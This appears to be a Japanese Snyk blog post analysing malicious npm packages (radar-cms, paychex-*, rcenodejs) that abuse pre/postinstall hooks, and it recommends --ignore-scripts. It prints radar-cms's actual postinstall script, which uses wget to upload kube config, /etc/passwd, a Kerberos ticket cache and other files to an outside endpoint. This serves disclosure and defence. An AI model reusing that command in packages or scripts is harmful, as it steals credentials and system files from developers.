Skip to main content

Snyk、npmレジストリでオープンソースのサプライチェーンセキュリティを脅かす悪意あるコードの活動を発見

著者
Snyk Advisor for malicious npm package

2021年5月5日

0 分で読めます

オープンソースを活用すれば、開発者はより速く開発できます。しかし、開発が何年も止まっていることもあるオープンソースの依存関係の安全性は、誰が確認しているのでしょうか。最近実施したnpmのセキュリティ調査で、Snykは特定の悪意あるコード攻撃ベクトルに該当するnpmパッケージを8件発見しました。この攻撃ベクトルでは、インストール時に任意のコマンドを実行できるpre/post installスクリプトを含むパッケージが使われていました。

悪意あるパッケージは以下のとおりです。

上記のパッケージを特定した後、Snykはnpmのセキュリティチームに報告し、悪意あるパッケージとしてフラグを付けてnpmレジストリから削除するよう依頼しました。エンドユーザーに危害が及ぶのを防ぐためです。npmエコシステムはオープンな性質を持ち、誰でもパッケージを登録できます。リポジトリを通じてオープンソースとして公開されていないものや、バックドアなどの悪意あるコードが含まれているものも例外ではありません。npmには150万を超えるパッケージがあり、すべてを監視して手遅れになる前に発見するのは容易ではありません。そのため、攻撃者にとって格好の活動場所となっています。

パッケージにフラグが付けられたところで、これらの悪意あるnpmパッケージがどのように動作し、何を企んでいたのかを見ていきましょう。

悪意あるnpmパッケージの分析から学べること

まずはradar-cmsから見ていきましょう。このパッケージは、サイズを隠すために興味深い手法を使っていました。tarball全体のサイズを1MBより大きくすることで、npmjs.comでパッケージを閲覧するときにnpm独自のExploreタブを含む一部のシステムの検知を逃れようとしていたと考えられます。悪意あるパッケージradar-cmsのサイズが大きくなり、npmのパッケージページでは調査できないことを、以下のスクリーンショットで確認できます。

ファイルサイズが大きすぎるか、最終公開日が古すぎることを示すエラーが表示されたradar-cmsのnpmパッケージページ

インストールされると、radar-cmsの悪意あるペイロードは、ホストからの情報窃取を狙っていました。package.jsonファイル内で見つかった、元の悪意あるパッケージのpostinstallスクリプトを紹介します。

"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"

では、この攻撃をどうすれば防げたでしょうか。(私のnpmのセキュリティに関するベストプラクティスの記事をすでに読んだ方なら、きっとご存じですね。)

パッケージを安全にインストールするためのベストプラクティスの一つは、npmパッケージのインストール時に任意のコマンドが実行されないようにすることです。次にnpmパッケージをインストールするときは、任意のコマンドを実行するパッケージから身を守るため、次のコマンドライン引数を使うことを検討してください。

npm install --ignore-scripts

yarnを使っている場合は、次のようにします。

yarn install --ignore-scripts

次に、paychex-*という名前のnpmパッケージ群が見つかりました。これらのパッケージは、今回はpreinstallスクリプトフックを使って、インストール時に環境変数からデータを盗み、リモートサーバーに送信するよう設計されていました。Snykのデータベースでは、すべて悪意あるパッケージとしてフラグが付けられています。

「paychex」の脆弱性データベース検索結果。2021年3月7日に公開された、複数の悪意あるnpmパッケージが表示されています

最後に、悪意あるパッケージrcenodejsにも同様のpreinstallスクリプトがあり、リモートの攻撃者が接続するためのリバースシェルを作成していました。

いずれの場合も、次のコマンドを使うだけで、パッケージのインストール中に任意のコードが実行されるのを防げます。

npm install --ignore-scripts

npmのソフトウェアサプライチェーンセキュリティを守るには?

まず、npmパッケージが悪意あるものかどうかを特定できるとよいでしょう。npmjsのパッケージページを見ただけでは判断できないことがあり、インストールしてからでは手遅れです。

その判断に役立つのがSnyk Advisorです。悪意あるパッケージとして確認され、インストールすべきでないものを明確に示します。たとえば、rcenodejs npmパッケージのAdvisorページでは、悪意あるCWE-506のセキュリティ脆弱性が示されています。

npmパッケージ「rcenodejs」のSnyk Advisorページ。悪意のあるパッケージであり、preinstallスクリプトを使ってリバースシェルを実行すると警告しています。

ソフトウェアの開発が進むほど、私たちが負うソフトウェアセキュリティのリスクも高まります。ベストプラクティスを取り入れ、リスクの低減やセキュリティインシデントの完全な防止に役立つツールを活用するため、以下をおすすめします。

  1. オープンソースソフトウェアを安全に扱うため、npmのセキュリティに関する10のベストプラクティスを確認しましょう。npmjsでの二要素認証の有効化、信頼できないサードパーティ製オープンソースソフトウェアによる任意のコマンド実行の無効化などが含まれます。

  2. Node.jsのDockerコンテナを構築する場合は、ブログ記事Node.jsベースのコンテナを構築するための本番環境向けセキュリティのベストプラクティスで紹介している手順に従ってください。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。